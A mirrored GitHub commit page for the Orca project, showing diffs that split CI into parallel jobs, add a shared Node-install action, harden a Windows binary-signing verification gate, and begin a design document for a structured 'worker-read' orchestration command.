mirror of
https://github.com/stablyai/orca.git
synced 2026-10-19 08:03:13 +00:00
Merge main and harden local updater isolation
This commit is contained in:
@@ -10,3 +10,5 @@
|
||||
/skill-stubs/*.md text eol=lf
|
||||
/skills/*/SKILL.md text eol=lf
|
||||
/src/cli/bundled-skill-guides.ts text eol=lf
|
||||
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
|
||||
/resources/plugins/** text eol=lf
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
name: Install Node dependencies
|
||||
description: Installs the Node toolchain and repository dependencies for Linux CI jobs.
|
||||
|
||||
inputs:
|
||||
native-runtime:
|
||||
description: Native runtime to prepare after the script-free install (none, node, or electron).
|
||||
required: false
|
||||
default: none
|
||||
|
||||
runs:
|
||||
using: composite
|
||||
steps:
|
||||
# setup-node needs pnpm on PATH to locate and restore its store.
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
run_install: false
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version-file: package.json
|
||||
cache: pnpm
|
||||
|
||||
- name: Validate native runtime
|
||||
shell: bash
|
||||
env:
|
||||
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
|
||||
run: |
|
||||
case "$NATIVE_RUNTIME" in
|
||||
none|node|electron) ;;
|
||||
*)
|
||||
echo "::error::native-runtime must be none, node, or electron"
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
|
||||
# pnpm's bundled gyp_main.py is not executable on fresh Linux runners.
|
||||
- name: Use external node-gyp
|
||||
if: inputs.native-runtime != 'none'
|
||||
shell: bash
|
||||
run: |
|
||||
npm install -g node-gyp@11.5.0
|
||||
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Prepare dependency install
|
||||
shell: bash
|
||||
run: |
|
||||
if [ -e node_modules ]; then
|
||||
ls -ld node_modules
|
||||
rm -rf node_modules
|
||||
fi
|
||||
|
||||
- name: Install dependencies
|
||||
shell: bash
|
||||
run: |
|
||||
pnpm install \
|
||||
--no-frozen-lockfile \
|
||||
--prefer-frozen-lockfile=false \
|
||||
--ignore-scripts
|
||||
git diff --exit-code package.json pnpm-lock.yaml
|
||||
|
||||
- name: Prepare native runtime
|
||||
if: inputs.native-runtime != 'none'
|
||||
shell: bash
|
||||
env:
|
||||
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
|
||||
run: node config/scripts/ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"
|
||||
+203
-95
@@ -8,62 +8,25 @@ on:
|
||||
- reopened
|
||||
- ready_for_review
|
||||
|
||||
concurrency:
|
||||
group: pr-checks-${{ github.event.pull_request.number }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
verify:
|
||||
static_analysis:
|
||||
name: static analysis
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
# Why: verify:skill-bundle-manifest now checks working-tree bytes
|
||||
# against the committed skill ledger (advanced only at release cut) and
|
||||
# no longer walks release tags, so a shallow checkout is sufficient.
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install native build tools
|
||||
run: sudo apt-get update && sudo apt-get install -y build-essential python3 zlib1g-dev zsh
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version-file: package.json
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
run_install: false
|
||||
|
||||
# Why: pnpm's bundled node-gyp ships gyp_main.py without execute
|
||||
# permission, which breaks native module builds (e.g. node-pty's
|
||||
# postinstall) with "/bin/sh: gyp_main.py: Permission denied".
|
||||
# Pin the fallback to the lockfile's node-gyp version so CI stays
|
||||
# reproducible while forcing pnpm to bypass its broken bundled copy.
|
||||
# Gate on runner.os == 'Linux' to match release.yml — the
|
||||
# npm-global path layout this step assumes is POSIX-shaped, and the
|
||||
# failure has only been observed on Linux runners. Today this job
|
||||
# pins runs-on: ubuntu-latest so the guard is a no-op, but it
|
||||
# prevents a silent break if a Windows/macOS matrix is added later.
|
||||
- name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
|
||||
if: runner.os == 'Linux'
|
||||
run: |
|
||||
npm install -g node-gyp@11.5.0
|
||||
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Prepare dependency install
|
||||
run: |
|
||||
if [ -e node_modules ]; then
|
||||
ls -ld node_modules
|
||||
rm -rf node_modules
|
||||
fi
|
||||
|
||||
- name: Install dependencies
|
||||
# Why: pnpm 10.24's frozen headless fast path can fail on fresh Ubuntu
|
||||
# runners while creating the root node_modules. Use the normal resolver
|
||||
# path, then verify package metadata stayed unchanged.
|
||||
run: |
|
||||
pnpm install --no-frozen-lockfile --prefer-frozen-lockfile=false
|
||||
git diff --exit-code package.json pnpm-lock.yaml
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
- name: Lint
|
||||
run: pnpm exec oxlint --format github
|
||||
@@ -74,27 +37,15 @@ jobs:
|
||||
- name: Check reliability gate manifest
|
||||
run: pnpm run check:reliability-gates
|
||||
|
||||
# Why: oxlint fails any file over max-lines that is NOT suppressed, so this
|
||||
# ratchet forbids ADDING a new suppression (inline disable or mobile max
|
||||
# bump). Existing oversized files are grandfathered in
|
||||
# config/max-lines-baseline.txt, which may only shrink — new bypasses fail
|
||||
# here with a clear message instead of silently growing the debt.
|
||||
- name: Enforce max-lines ratchet (no new bypasses)
|
||||
- name: Enforce max-lines ratchet
|
||||
run: pnpm run check:max-lines-ratchet
|
||||
|
||||
# Why: the CLI embeds guide content while the skills CLI installs generated
|
||||
# projections from the repository, so stale output would split those two truths.
|
||||
- name: Verify bundled skill guides
|
||||
run: pnpm run verify:bundled-skill-guides
|
||||
|
||||
- name: Verify skill freshness manifest
|
||||
run: pnpm run verify:skill-bundle-manifest
|
||||
|
||||
# Why: project-owned type declarations must live in .ts so tsc
|
||||
# actually checks them. TypeScript's skipLibCheck: true (inherited
|
||||
# from @electron-toolkit/tsconfig) silently widens unresolved names
|
||||
# in .d.ts to `any`, which is how #1186 shipped a broken IPC signature
|
||||
# past typecheck. See docs/preload-typecheck-hole.md.
|
||||
- name: Guard against project-owned .d.ts in preload/shared
|
||||
run: |
|
||||
matches=$(find src/preload src/shared -name '*.d.ts' 2>/dev/null || true)
|
||||
@@ -113,55 +64,212 @@ jobs:
|
||||
- name: Verify macOS entitlements
|
||||
run: pnpm verify:macos-entitlements
|
||||
|
||||
- name: Typecheck
|
||||
run: pnpm typecheck
|
||||
typecheck:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
- run: pnpm typecheck
|
||||
|
||||
git_compatibility:
|
||||
name: Git compatibility
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
# Why: real old Git diagnostics differ from mocked errors. Keep the
|
||||
# fallback predicates executable across the baseline, transition, and
|
||||
# current command shapes so a newly added flag cannot silently regress.
|
||||
- name: Verify Git binary compatibility matrix
|
||||
run: |
|
||||
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
|
||||
source="$RUNNER_TEMP/git-2.25.5"
|
||||
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
|
||||
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
|
||||
| sha256sum --check
|
||||
mkdir -p "$source"
|
||||
tar -xzf "$archive" -C "$source" --strip-components=1
|
||||
make -C "$source" -j2 NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
|
||||
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
pids=()
|
||||
(
|
||||
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
|
||||
source="$RUNNER_TEMP/git-2.25.5"
|
||||
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
|
||||
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
|
||||
| sha256sum --check
|
||||
mkdir -p "$source"
|
||||
tar -xzf "$archive" -C "$source" --strip-components=1
|
||||
make -C "$source" -j"$(nproc)" \
|
||||
NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
|
||||
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
) &
|
||||
pids+=("$!")
|
||||
|
||||
for spec in \
|
||||
"alpine/git:edge-2.38.1|2.38.1" \
|
||||
"alpine/git:v2.49.1|2.49.1"; do
|
||||
image="${spec%%|*}"
|
||||
version="${spec#*|}"
|
||||
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
(
|
||||
image="${spec%%|*}"
|
||||
version="${spec#*|}"
|
||||
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
) &
|
||||
pids+=("$!")
|
||||
done
|
||||
|
||||
# Why: postinstall rebuilds better-sqlite3 for Electron's ABI via
|
||||
# @electron/rebuild, but vitest runs under system Node.js. Rebuild
|
||||
# it for Node so orchestration tests can load the native module.
|
||||
- name: Rebuild better-sqlite3 for Node
|
||||
run: pnpm rebuild better-sqlite3
|
||||
status=0
|
||||
for pid in "${pids[@]}"; do
|
||||
wait "$pid" || status=1
|
||||
done
|
||||
exit "$status"
|
||||
|
||||
shell_contracts:
|
||||
name: shell contracts
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install zsh
|
||||
run: sudo apt-get update && sudo apt-get install -y zsh
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: node
|
||||
|
||||
- name: Test real shell contracts
|
||||
run: |
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/main/daemon/shell-ready.test.ts \
|
||||
src/main/daemon/node-pty-fd-leak.test.ts \
|
||||
src/main/providers/local-pty-shell-ready.test.ts \
|
||||
src/main/providers/__tests__/shell-ready-framework-example.test.ts \
|
||||
src/main/pty/omp-shell-wrapper.node-pty.test.ts \
|
||||
src/shared/posix-command-path-lookup.test.ts
|
||||
|
||||
test:
|
||||
name: tests ${{ matrix.shard }}/${{ strategy.job-total }}
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: node
|
||||
|
||||
# Why: install intentionally blocks Electron's package postinstall, but
|
||||
# some unit tests import `electron` under Node and require path.txt.
|
||||
- name: Install Electron package binary for tests
|
||||
run: node config/scripts/install-electron-package-binary.mjs
|
||||
|
||||
- name: Test
|
||||
run: pnpm test
|
||||
- name: Test shard
|
||||
run: |
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
--exclude=src/main/daemon/shell-ready.test.ts \
|
||||
--exclude=src/main/daemon/node-pty-fd-leak.test.ts \
|
||||
--exclude=src/main/providers/local-pty-shell-ready.test.ts \
|
||||
--exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
|
||||
--exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
|
||||
--exclude=src/shared/posix-command-path-lookup.test.ts \
|
||||
--shard=${{ matrix.shard }}/${{ strategy.job-total }}
|
||||
|
||||
- name: Build unpacked app
|
||||
run: pnpm build:unpack
|
||||
package:
|
||||
name: package
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Cache electron-builder downloads
|
||||
uses: actions/cache@v5
|
||||
with:
|
||||
path: |
|
||||
~/.cache/electron
|
||||
~/.cache/electron-builder
|
||||
key: electron-builder-linux-${{ hashFiles('pnpm-lock.yaml') }}
|
||||
restore-keys: |
|
||||
electron-builder-linux-
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: electron
|
||||
|
||||
- name: Build package inputs
|
||||
run: |
|
||||
status=0
|
||||
pnpm run build:cli || status=1
|
||||
|
||||
scripts=(build:relay build:electron-vite:parallel)
|
||||
pids=()
|
||||
for script in "${scripts[@]}"; do
|
||||
pnpm run "$script" &
|
||||
pids+=("$!")
|
||||
done
|
||||
|
||||
for pid in "${pids[@]}"; do
|
||||
wait "$pid" || status=1
|
||||
done
|
||||
exit "$status"
|
||||
|
||||
- name: Project web client from renderer build
|
||||
run: pnpm run build:web-from-renderer
|
||||
|
||||
- name: Build native components
|
||||
run: pnpm run build:native
|
||||
|
||||
- name: Package unpacked app
|
||||
env:
|
||||
ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1'
|
||||
run: pnpm exec electron-builder --config config/electron-builder.config.cjs --dir
|
||||
|
||||
# Why: the packaged CLI runs outside Electron's asar integration, so
|
||||
# bare runtime imports must be present in the package itself. Run from a
|
||||
# temp copy so Node cannot mask missing package deps with repo node_modules.
|
||||
- name: Smoke packaged CLI
|
||||
run: node config/scripts/smoke-packaged-cli.mjs --app-dir=dist/linux-unpacked
|
||||
|
||||
verify:
|
||||
if: always()
|
||||
needs:
|
||||
- static_analysis
|
||||
- typecheck
|
||||
- git_compatibility
|
||||
- shell_contracts
|
||||
- test
|
||||
- package
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Require successful checks
|
||||
env:
|
||||
STATIC_ANALYSIS: ${{ needs.static_analysis.result }}
|
||||
TYPECHECK: ${{ needs.typecheck.result }}
|
||||
GIT_COMPATIBILITY: ${{ needs.git_compatibility.result }}
|
||||
SHELL_CONTRACTS: ${{ needs.shell_contracts.result }}
|
||||
TEST: ${{ needs.test.result }}
|
||||
PACKAGE: ${{ needs.package.result }}
|
||||
run: |
|
||||
for result in \
|
||||
"$STATIC_ANALYSIS" \
|
||||
"$TYPECHECK" \
|
||||
"$GIT_COMPATIBILITY" \
|
||||
"$SHELL_CONTRACTS" \
|
||||
"$TEST" \
|
||||
"$PACKAGE"; do
|
||||
if [ "$result" != "success" ]; then
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
@@ -1499,7 +1499,6 @@ jobs:
|
||||
Write-Warning 'Restored pre-rebuild installer; this release ships with unsigned inner binaries.'
|
||||
}
|
||||
# ── End Windows inner-binary signing ───────────────────────────────
|
||||
|
||||
- name: Upload unsigned Windows installer for SignPath
|
||||
if: matrix.platform == 'win'
|
||||
id: upload-unsigned-windows-installer
|
||||
@@ -1644,8 +1643,41 @@ jobs:
|
||||
INNER_SIGNING_COMPLETED: ${{ steps.rebuild-nsis-signed.outcome == 'success' }}
|
||||
run: |
|
||||
$required = $env:ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED -eq 'true'
|
||||
|
||||
# Why: a fail-open gate that writes nothing is indistinguishable from a
|
||||
# gate that passed. Always leave a verdict in the evidence artifact and
|
||||
# the job summary so a silent degradation is visible (#6487).
|
||||
# Why best-effort: while warn-only, a disk-full or permission error
|
||||
# writing the verdict must not become the thing that fails the release.
|
||||
function Add-GateEvidence([string]$line) {
|
||||
try {
|
||||
Add-Content -Path 'inner-signing-evidence.txt' -Value "`n$line" -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not append to the inner-signing evidence file: $_"
|
||||
}
|
||||
}
|
||||
|
||||
function Add-GateSummary([string]$verdict) {
|
||||
if (-not $env:GITHUB_STEP_SUMMARY) { return }
|
||||
try {
|
||||
Add-Content -Path $env:GITHUB_STEP_SUMMARY -Value "**Windows inner-binary signing:** $verdict" -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not write inner-signing verdict to the job summary: $_"
|
||||
}
|
||||
}
|
||||
|
||||
function Write-GateVerdict([string]$verdict) {
|
||||
try {
|
||||
Set-Content -Path 'inner-signing-evidence.txt' -Value $verdict -ErrorAction Stop
|
||||
} catch {
|
||||
Write-Host "::warning::Could not persist inner-signing verdict: $_"
|
||||
}
|
||||
Add-GateSummary $verdict
|
||||
}
|
||||
|
||||
if ($env:INNER_SIGNING_COMPLETED -ne 'true') {
|
||||
$message = 'Windows inner-binary signing did not complete; this release ships unsigned inner binaries (fail-open, issue #7785).'
|
||||
Write-GateVerdict "NOT VERIFIED — $message"
|
||||
if ($required) { throw $message }
|
||||
Write-Host "::warning::$message"
|
||||
exit 0
|
||||
@@ -1654,13 +1686,28 @@ jobs:
|
||||
# Why try/catch: while the gate is warn-only, even an unexpected
|
||||
# script error (extraction hiccup, missing file) must not block
|
||||
# the release — only the flip to required makes failures fatal.
|
||||
# Why tracked separately: a required-mode signature failure must not be
|
||||
# rewritten as ERRORED by the catch below, which would replace the
|
||||
# per-file report with an exception string and lose the diagnostics.
|
||||
$policyFailure = $null
|
||||
|
||||
try {
|
||||
$report = New-Object System.Collections.Generic.List[string]
|
||||
$failures = New-Object System.Collections.Generic.List[string]
|
||||
|
||||
# Why: verify the files a user actually gets on disk, not the build
|
||||
# tree — 7z parses the NSIS exe directly as its embedded payload.
|
||||
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
|
||||
# Resolve 7za via app-builder-lib; electron-builder 26.9+ dropped the
|
||||
# bundled 7zip-bin package the old hardcoded path relied on (#6487).
|
||||
$7zaOutput = node config/scripts/resolve-7za-path.mjs
|
||||
$7zaExitCode = $LASTEXITCODE
|
||||
if ($7zaExitCode -ne 0) {
|
||||
throw "The 7za resolver exited with code $7zaExitCode for the inner-binary evidence gate."
|
||||
}
|
||||
$7za = ($7zaOutput | Out-String).Trim()
|
||||
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
|
||||
throw "The 7za resolver returned an invalid path for the inner-binary evidence gate: $7za"
|
||||
}
|
||||
New-Item -ItemType Directory -Path inner-evidence-extract -Force | Out-Null
|
||||
& $7za x 'dist/orca-windows-setup.exe' '-oinner-evidence-extract' -y | Out-Null
|
||||
|
||||
@@ -1694,16 +1741,32 @@ jobs:
|
||||
if ($failures.Count -gt 0) {
|
||||
$failures | ForEach-Object { Write-Host "::warning::$_" }
|
||||
$message = "Windows inner-binary evidence gate found $($failures.Count) problems."
|
||||
if ($required) { throw $message }
|
||||
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
|
||||
# Why assigned before any I/O: a write that throws here would reach
|
||||
# the catch with $policyFailure still null, so a required-mode
|
||||
# signature failure would be re-reported as ERRORED and the per-file
|
||||
# report overwritten — the exact masking the hoist exists to prevent.
|
||||
if ($required) {
|
||||
$policyFailure = $message
|
||||
} else {
|
||||
Write-Host "::warning::$message Fail-open until ORCA_WINDOWS_INNER_SIGNATURE_REQUIRED is 'true'."
|
||||
}
|
||||
Add-GateEvidence "VERDICT: FAILED — $message"
|
||||
Add-GateSummary "FAILED — $message"
|
||||
} else {
|
||||
Write-Host "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
|
||||
$ok = "All $($targets.Count) inner binaries in the shipped installer are signed by SignPath Foundation."
|
||||
Add-GateEvidence "VERDICT: PASSED — $ok"
|
||||
Add-GateSummary "PASSED — $ok"
|
||||
Write-Host $ok
|
||||
}
|
||||
} catch {
|
||||
Write-GateVerdict "ERRORED — $_"
|
||||
if ($required) { throw }
|
||||
Write-Host "::warning::Windows inner-binary evidence gate errored: $_ (fail-open, issue #7785)."
|
||||
}
|
||||
|
||||
# Outside the catch so the FAILED evidence report survives intact.
|
||||
if ($policyFailure) { throw $policyFailure }
|
||||
|
||||
- name: Upload Windows inner signing evidence
|
||||
if: always() && matrix.platform == 'win'
|
||||
uses: actions/upload-artifact@v7
|
||||
|
||||
@@ -27,7 +27,11 @@ on:
|
||||
- 'config/patches/**'
|
||||
- 'config/scripts/ensure-native-runtime.mjs'
|
||||
- 'config/scripts/rebuild-native-deps.mjs'
|
||||
- 'config/scripts/verify-packaged-plugin-resources.cjs'
|
||||
- 'native/**'
|
||||
# Byte-hashed at package time, and CRLF-sensitive on Windows.
|
||||
- '.gitattributes'
|
||||
- 'resources/plugins/**'
|
||||
- 'resources/win32/**'
|
||||
- 'src/main/daemon/**'
|
||||
- 'src/main/index.ts'
|
||||
|
||||
@@ -325,7 +325,16 @@ jobs:
|
||||
|
||||
# Extract the signed installer and verify the files a user actually
|
||||
# gets on disk — including the exact file from issue #7785.
|
||||
$7za = 'node_modules/7zip-bin/win/x64/7za.exe'
|
||||
# electron-builder 26.9+ removed the bundled 7zip-bin package (#6487).
|
||||
$7zaOutput = node config/scripts/resolve-7za-path.mjs
|
||||
$7zaExitCode = $LASTEXITCODE
|
||||
if ($7zaExitCode -ne 0) {
|
||||
throw "The 7za resolver exited with code $7zaExitCode for the signing rehearsal."
|
||||
}
|
||||
$7za = ($7zaOutput | Out-String).Trim()
|
||||
if ([string]::IsNullOrWhiteSpace($7za) -or -not (Test-Path -LiteralPath $7za -PathType Leaf)) {
|
||||
throw "The 7za resolver returned an invalid path for the signing rehearsal: $7za"
|
||||
}
|
||||
New-Item -ItemType Directory -Path extracted-app -Force | Out-Null
|
||||
& $7za x 'dist/orca-windows-setup.exe' '-oextracted-app' -y | Out-Null
|
||||
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,604 @@
|
||||
# Orchestration Structured Worker Output
|
||||
|
||||
Status: implemented; physical local, mixed-version, and Windows-home to Mac-worker validation complete
|
||||
Scope: orchestration `worker-read` only
|
||||
Last updated: 2026-07-24
|
||||
|
||||
## Summary
|
||||
|
||||
`orca orchestration worker-read` currently reads bounded terminal output. That is always available,
|
||||
but full-screen agent TUIs can make it noisy or incomplete.
|
||||
|
||||
Orca already knows more than the terminal logo suggests. Agent hooks associate an exact pane with:
|
||||
|
||||
- the agent type, such as Codex or Claude;
|
||||
- the provider session or conversation ID; and
|
||||
- when available, the provider-reported transcript path.
|
||||
|
||||
The sidebar, session resume, sleeping-agent recovery, and native chat already use this information.
|
||||
The missing piece is a narrow orchestration path from an exact Dispatch to that exact session on the
|
||||
server where the worker runs.
|
||||
|
||||
The proposed behavior is:
|
||||
|
||||
```text
|
||||
worker-read
|
||||
exact supported transcript is available -> structured transcript page
|
||||
otherwise -> bounded terminal page
|
||||
```
|
||||
|
||||
This does not add orchestration strategy, a dashboard, a scheduler, or a universal provider layer.
|
||||
It makes one existing observation command return the best source Orca can prove.
|
||||
|
||||
## User-facing goal
|
||||
|
||||
A coordinator should be able to inspect a worker with one predictable command:
|
||||
|
||||
```bash
|
||||
orca orchestration worker-read --dispatch <dispatch-id> --json
|
||||
```
|
||||
|
||||
The coordinator should not need to know:
|
||||
|
||||
- which Orca server owns the worker;
|
||||
- the worker's terminal or pane handle;
|
||||
- the provider session ID;
|
||||
- where a transcript lives on disk; or
|
||||
- whether structured reading is supported by that provider/server version.
|
||||
|
||||
The response must always say which source was used. It must never silently read a different agent
|
||||
session.
|
||||
|
||||
## Why the existing sidebar is relevant
|
||||
|
||||
The agent logo identifies the detected agent type. By itself, that is not enough to choose a
|
||||
transcript.
|
||||
|
||||
The richer sidebar status also carries pane-scoped provider-session metadata reported by hooks.
|
||||
That is the useful foundation:
|
||||
|
||||
```text
|
||||
Dispatch
|
||||
-> exact worker process and terminal
|
||||
-> exact tab/leaf pane
|
||||
-> hook-reported provider session
|
||||
-> provider transcript locator
|
||||
```
|
||||
|
||||
Some live status ownership is currently renderer-centric, while headless and mobile graph paths
|
||||
also retain compatible status snapshots. Implementation therefore needs one runtime-owned lookup
|
||||
that exposes the current exact pane association to `worker-read`. This is a small bridge over
|
||||
existing status data, not a second agent-status system.
|
||||
|
||||
## Design principles
|
||||
|
||||
### Exactness over convenience
|
||||
|
||||
- Never select the "latest session in this directory."
|
||||
- Never select a transcript from a terminal title or logo alone.
|
||||
- Never switch sources or sessions in the middle of a cursor chain.
|
||||
- If Orca cannot prove the association, return a labeled terminal fallback.
|
||||
|
||||
### Resource-local reads
|
||||
|
||||
The server running the worker resolves and reads its transcript. A Run home on macOS must not try
|
||||
to interpret a Windows path, and a Windows Run home must not try to interpret a macOS path.
|
||||
|
||||
Only bounded output data crosses the federation connection. Transcript paths do not.
|
||||
|
||||
### One simple agent command
|
||||
|
||||
Agents should not choose provider adapters or supply session metadata. `worker-read` defaults to
|
||||
automatic source selection. Source selection flags exist for debugging and explicit policy, not
|
||||
because they are required in the normal loop.
|
||||
|
||||
### Narrow provider support
|
||||
|
||||
Initial support should cover only providers for which Orca already has:
|
||||
|
||||
1. an exact pane-scoped session association; and
|
||||
2. an existing bounded transcript reader with test coverage.
|
||||
|
||||
Codex is the required first provider. Claude may ship in the same change only if it uses the same
|
||||
proven reader path without adding a second architecture. Other agents receive terminal fallback.
|
||||
|
||||
### Honest compatibility
|
||||
|
||||
Connected servers can run different Orca versions. A server without structured-read support must
|
||||
continue to return bounded terminal output rather than failing the whole Run.
|
||||
|
||||
## Public command contract
|
||||
|
||||
### Request
|
||||
|
||||
```bash
|
||||
orca orchestration worker-read \
|
||||
--dispatch <dispatch-id> \
|
||||
[--source auto|transcript|terminal] \
|
||||
[--cursor <opaque-cursor>] \
|
||||
[--limit <count>] \
|
||||
[--json]
|
||||
```
|
||||
|
||||
`--source` behavior:
|
||||
|
||||
| Value | Behavior |
|
||||
| ------------ | -------------------------------------------------------------------------------------- |
|
||||
| `auto` | Use an exact supported transcript; otherwise use terminal output. This is the default. |
|
||||
| `transcript` | Require an exact supported transcript. Return a typed error instead of falling back. |
|
||||
| `terminal` | Use the current bounded terminal reader. |
|
||||
|
||||
Existing numeric terminal cursors remain accepted. New responses return an opaque cursor that can
|
||||
pin either source without exposing provider paths.
|
||||
|
||||
### Response
|
||||
|
||||
The implemented structured response has this shape:
|
||||
|
||||
```json
|
||||
{
|
||||
"dispatchId": "dispatch_123",
|
||||
"source": "transcript",
|
||||
"sourceIdentity": "opaque-source-fingerprint",
|
||||
"provider": "codex",
|
||||
"transcript": {
|
||||
"messages": [],
|
||||
"nextCursor": "opaque-next-cursor",
|
||||
"limited": false,
|
||||
"returnedMessageCount": 0
|
||||
},
|
||||
"cursor": "opaque-next-cursor",
|
||||
"status": {
|
||||
"worker": "running",
|
||||
"terminal": "running"
|
||||
},
|
||||
"fallbackReason": null,
|
||||
"warnings": []
|
||||
}
|
||||
```
|
||||
|
||||
Terminal fallback uses the same envelope and keeps the existing terminal data:
|
||||
|
||||
```json
|
||||
{
|
||||
"dispatchId": "dispatch_123",
|
||||
"source": "terminal",
|
||||
"sourceIdentity": "opaque-terminal-incarnation",
|
||||
"terminal": {
|
||||
"tail": ["..."],
|
||||
"status": "running",
|
||||
"nextCursor": "..."
|
||||
},
|
||||
"cursor": "opaque-next-cursor",
|
||||
"fallbackReason": "session_not_reported",
|
||||
"warnings": []
|
||||
}
|
||||
```
|
||||
|
||||
For backward compatibility:
|
||||
|
||||
- the terminal branch retains the existing `terminal.tail`, `terminal.status`, and
|
||||
`terminal.nextCursor` fields;
|
||||
- non-JSON output prints readable transcript entries or terminal lines without requiring an agent
|
||||
to branch on JSON manually;
|
||||
- a mixed-version federated read can return the legacy terminal shape, which the Run home wraps as
|
||||
a labeled terminal response.
|
||||
|
||||
### Fallback reasons
|
||||
|
||||
Fallback reasons are bounded typed values, not arbitrary policy:
|
||||
|
||||
- `provider_unsupported`
|
||||
- `session_not_reported`
|
||||
- `transcript_missing`
|
||||
- `transcript_unreadable`
|
||||
- `transcript_parse_failed`
|
||||
- `remote_capability_unavailable`
|
||||
|
||||
Warnings may provide safe diagnostic context, but must not contain a remote filesystem path.
|
||||
|
||||
### Typed errors
|
||||
|
||||
Errors are used when returning any source would be misleading:
|
||||
|
||||
- `dispatch_not_found`
|
||||
- `worker_identity_changed`
|
||||
- `source_changed`
|
||||
- `cursor_invalid`
|
||||
- `cursor_dispatch_mismatch`
|
||||
- `transcript_required`
|
||||
- the existing connected-server unavailable/unknown result
|
||||
|
||||
`source_changed` means the exact pane is now associated with a different provider session than the
|
||||
one pinned by the cursor. The caller starts a new read without the old cursor. Orca never silently
|
||||
jumps to the replacement session.
|
||||
|
||||
## Source identity and cursor rules
|
